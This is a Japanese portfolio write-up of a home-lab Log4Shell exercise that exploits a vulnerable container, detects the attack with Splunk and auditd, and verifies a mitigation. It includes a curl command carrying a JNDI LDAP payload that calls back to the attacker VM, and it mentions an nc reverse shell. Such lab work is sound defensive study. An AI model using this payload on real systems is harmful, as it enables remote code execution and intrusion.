
Log4Shellの悪用、Splunkとauditdを用いた検知エンジニアリング、そしてコンテナ化環境での検証済み修復を実演する実践的なプロジェクトです。
Log4Shell 脆弱性のライフサイクル全体をシミュレートする実践的な攻撃・防御セキュリティプロジェクト。攻撃者管理 VM からの悪用、Splunk での検知エンジニアリング、検証済みの修復までをカバーします。
この分野のポートフォリオプロジェクトのほとんどは SSH ブルートフォースを扱っています。私はより幅広いスキルセットを示すものを望んでいました。実際の影響度の高い CVE をエンドツーエンドで悪用し、その後防御側に切り替えて検知・修復するという、セキュリティエンジニアや検知エンジニアが実際に業務で経験するのと同じライフサイクルです。
illshot (192.168.1.85)、ログ収集と検知のために Splunk をネイティブ実行ghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot、Log4j 2.14.1、Java 8u181) を Docker コンテナで実行し、--log-driver=syslog でログを Mint の syslog にパイプ1. リスナーと悪用ツールのセットアップ。 Kali 上で netcat リスナーを起動してリバースシェルのコールバックを受信し、その後、自作の JNDI-Injection-Exploit ツール(プリビルド版が利用できなかったためソースからビルド)を起動して悪意のある LDAP ペイロードを配信しました。

2. エクスプロイトの送信。 JNDI ルックアップ文字列を含む細工した HTTP ヘッダーを介してペイロードを配信し、ポート 8080 で稼働する脆弱なアプリを標的にしました。
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. シェルの取得。 脆弱なアプリがヘッダーを解析し、JNDI ルックアップをトリガーして、Kali マシンにコールバックして悪意のあるクラスを取得・実行させ、コンテナ内で root として動作するリバースシェルを獲得しました。

攻撃後の偵察(実際の攻撃者が行うように): root アクセスを確認し、環境変数をレビュー(クリーン、シークレットの漏洩なし)、アプリケーション jar を検査し、/etc/passwd を確認。未使用の Alpine ベースイメージのサービスアカウント群が明らかになり、実際の攻撃対象領域を反映しない誤解を招く偵察アーティファクトの良い例となりました。
Mint の syslog を取り込む Splunk が攻撃チェーン全体を捕捉しました。最初の JNDI ルックアップリクエスト、その結果生じた NamingException と ClassCastException のスタックトレース、およびホストレベルでコンテナとやり取りするために使用された関連する sudo docker exec コマンドです。

悪用に先立って偵察活動も可視化されていました。UFW ファイアウォールログが Kali からターゲットへの Nmap スキャントラフィックを捕捉しました。

このプロジェクトの重要な技術的発見: 生の nc -e /bin/sh リバースシェルは PAM を経由して認証されることがないため、auth.log にエントリを一切生成せず、ログインセッションも作成しません。それだけでは、この種のシェルは標準的なログインベースのログ記録では見えないことになります。
しかし、Docker コンテナは完全に分離された仮想化カーネルではなく、ホストのカーネルを共有しています。つまり、コンテナ内のすべての execve(プロセス実行)は、ホストの監査サブシステムから依然として可視です。Mint で auditd を構成し、システム全体で execve システムコールを監視し、ルールにタグ(container_exec)を付け、/var/log/audit/audit.log を新しい入力として Splunk に取り込みました。

エクスプロイトを再トリガーし、攻撃後のコマンド(whoami、cat /etc/passwd、ls /app、env)を実行して理論を確認しました。auditd はすべてのコマンドを捕捉し、生の nc リバースシェルの呼び出し自体も含め、攻撃者の IP とポートがログ記録された引数に直接表示されました。

より広範な攻撃後の活動も完全に可視化され、/bin/busybox の下で実行されていました(コンテナの最小シェルはほとんどの Unix ツールを単一の BusyBox バイナリへのシンボリックリンクとして実装しているため、comm は busybox と表示されますが、exe は完全なパスを解決します):

もう 1 つ注目すべき詳細: 捕捉されたすべてのイベントで auid=4294967295(未設定/ログインセッションなし)が uid=0(root)とペアになっていました。この組み合わせ自体が、認証されていないシェルの強力な証拠です。通常の認証を完全にバイパスしたシェルから期待される通り、監査ログイン ID がまったくない状態で完全な root 権限で実行されているプロセスです。
使用した主要な検知クエリ:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
パッチ適用済みの Log4j リリースに先立って Apache と CISA が公開した公式の暫定緩和策を適用しました。JVM システムプロパティによる JNDI メッセージルックアップの無効化です。
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
修復後にまったく同じエクスプロイトチェーンを再試行して修正を確認しました。リクエストは引き続き到着してログに記録されましたが、JNDI ルックアップは評価されず、コールバックもスタックトレースもシェルも発生しませんでした。

この比較がこのプロジェクトの最も明確な証拠です。元の攻撃は 136 以上の関連ログイベントと成功したコールバックを伴う完全なエクスプロイトチェーンを生成しました。修復後、同一の攻撃はダウンストリームのルックアップ活動を一切伴わない単一の無害なログ行を生成するだけです。
多層防御の観点で注目すべき点: エクスプロイトの試行は修復後もログに残り続けました。脆弱性がパッチ適用されても検知の価値は消えません。後で誤設定されたパッチ適用済みシステムや、変種ペイロードも、ここで構築した同じ検知クエリで捕捉されるでしょう。